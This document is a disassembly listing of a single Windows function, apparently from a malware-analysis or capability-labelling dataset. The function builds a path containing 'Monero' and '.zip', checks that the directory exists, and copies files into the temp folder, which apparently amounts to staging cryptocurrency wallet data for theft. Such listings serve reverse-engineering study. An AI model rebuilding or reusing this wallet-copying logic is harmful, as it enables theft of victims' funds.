Function at 0x1800b8990
Capabilities:
Check if file exists
Copy file
Get common file path
Get file attributes

Disassembly:
push rbp
push rsi
push rdi
push r14
lea rbp, [rsp - 0x3f8]
sub rsp, 0x4f8
mov rax, qword [0x180128010]
xor rax, rsp
mov qword [rbp + 0x3e0], rax
mov rsi, rcx
mov rdi, r8
lea rcx, [rsp + 0x60]
mov r14, rdx
call fcn.18008ab70
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.18008afc0
mov rcx, qword [rbp - 0x30]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 8
jb 0x1800b8fb2
cmp qword [rbp - 0x28], 0x10
lea rax, str._Monero_
mov qword [rsp + 0x30], 8
lea r9, [rbp - 0x40]
cmovae r9, qword [rbp - 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x4f0], r15
call fcn.1800c3cb0
cmp qword [r14 + 0x18], 0x10
mov rdx, r14
jb 0x1800b8a37
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rsp + 0x60]
call fcn.1800c0730
xor r15d, r15d
lea rdx, str._.zip
lea rcx, [rsp + 0x40]
movups xmm0, xmmword [rax]
lea r8d, [r15 + 5]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800c0730
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
mov rdx, qword [rsp + 0x58]
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm1
cmp rdx, 0x10
jb 0x1800b8ad8
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b8ad3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b8fb8
call fcn.1800ce78c
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], r15b
cmp rdx, 0x10
jb 0x1800b8b28
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b8b23
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b8fb8
call fcn.1800ce78c
lea rdx, [rbp - 0x20]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rax, [rbp - 0x20]
mov qword [rsp + 0x40], r15
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 0xf
inc r8
cmp byte [rax + r8], r15b
jne 0x1800b8b55
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x40]
call fcn.1800c1060
cmp qword [rbp - 0x48], 0x10
lea rdx, [rbp - 0x60]
mov r8, qword [rbp - 0x50]
lea rcx, [rsp + 0x40]
cmovae rdx, qword [rbp - 0x60]
call fcn.1800c0730
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1800b8be3
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b8bde
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b8fbe
call fcn.1800ce78c
cmp qword [rsi + 0x18], 0x10
mov rcx, rsi
jb 0x1800b8bf0
mov rcx, qword [rsi]
mov qword [rsp + 0x538], rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1800b8de2
test al, 0x10
je 0x1800b8de2
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x60]
call fcn.1800c0900
mov rdx, rsi
lea rcx, [rsp + 0x40]
mov rbx, rax
call fcn.1800c0900
mov rcx, rax
mov rdx, rbx
call fcn.18008cfa0
cmp qword [rbp - 0x68], 0x10
lea rcx, [rbp - 0x80]
lea rdx, [0x180116130]
cmovae rcx, qword [rbp - 0x80]
call fcn.1800da3c8
test rax, rax
je 0x1800b8de2
mov rcx, rax
call fcn.1800da458
mov rcx, qword [rdi + 0x18]
mov rdx, rdi
cmp rcx, 0x10
jb 0x1800b8c73
mov rdx, qword [rdi]
mov rax, qword [rdi + 0x10]
cmp rax, 1
jne 0x1800b8cb4
cmp byte [rdx], 0x30
jne 0x1800b8cb4
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x60]
call fcn.1800c0900
lea rdx, [rbp - 0x80]
mov rbx, rax
lea rcx, [rsp + 0x40]
call fcn.1800c0900
mov rcx, rax
mov rdx, rbx
call fcn.18008d280
mov rcx, qword [rdi + 0x18]
mov rax, qword [rdi + 0x10]
mov rdx, rdi
cmp rcx, 0x10
jb 0x1800b8cc0
mov rdx, qword [rdi]
cmp rax, 1
jne 0x1800b8dcf
cmp byte [rdx], 0x31
jne 0x1800b8dcf
lea rcx, [rsp + 0x60]
call fcn.18008c900
cmp qword [rbp - 0x48], 0x10
lea rdx, [rbp - 0x60]
mov r8, qword [rbp - 0x50]
mov rcx, rax
cmovae rdx, qword [rbp - 0x60]
call fcn.1800c0730
lea rdx, [rsp + 0x40]
mov r8d, 1
lea rcx, [rbp - 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
cmp qword [rbp - 0x68], 0x10
cmovae rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1800b8d7f
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b8d7a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b8fa6
call fcn.1800ce78c
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], r15b
cmp rdx, 0x10
jb 0x1800b8dcf
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b8dca
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b8fa6
call fcn.1800ce78c
cmp qword [rbp - 0x68], 0x10
lea rcx, [rbp - 0x80]
cmovae rcx, qword [rbp - 0x80]
call fcn.1800da634
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1800b8e1d
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b8e18
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b8fac
call fcn.1800ce78c
mov rdx, qword [rbp - 0x48]
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], r15b
cmp rdx, 0x10
jb 0x1800b8e68
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b8e63
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b8fac
call fcn.1800ce78c
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x1800b8ea3
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b8e9e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b8fac
call fcn.1800ce78c
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x1800b8edd
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x1800b8ed8
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800b8fac
mov rcx, r8
call fcn.1800ce78c
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], 0xf
mov byte [rsi], r15b
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x1800b8f26
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x1800b8f21
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800b8fac
mov rcx, r8
call fcn.1800ce78c
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], 0xf
mov byte [r14], r15b
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x1800b8f6b
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1800b8f66
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800b8fac
mov rcx, r8
call fcn.1800ce78c
mov rbx, qword [rsp + 0x538]
mov qword [rdi + 0x10], r15
mov byte [rdi], r15b
mov r15, qword [rsp + 0x4f0]
mov qword [rdi + 0x18], 0xf
mov rcx, qword [rbp + 0x3e0]
xor rcx, rsp
call fcn.1800ce4d0
add rsp, 0x4f8
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.1800dd818
int3
call fcn.1800dd818
int3
call fcn.180088c70
int3
call fcn.1800dd818
int3
call fcn.1800dd818
int3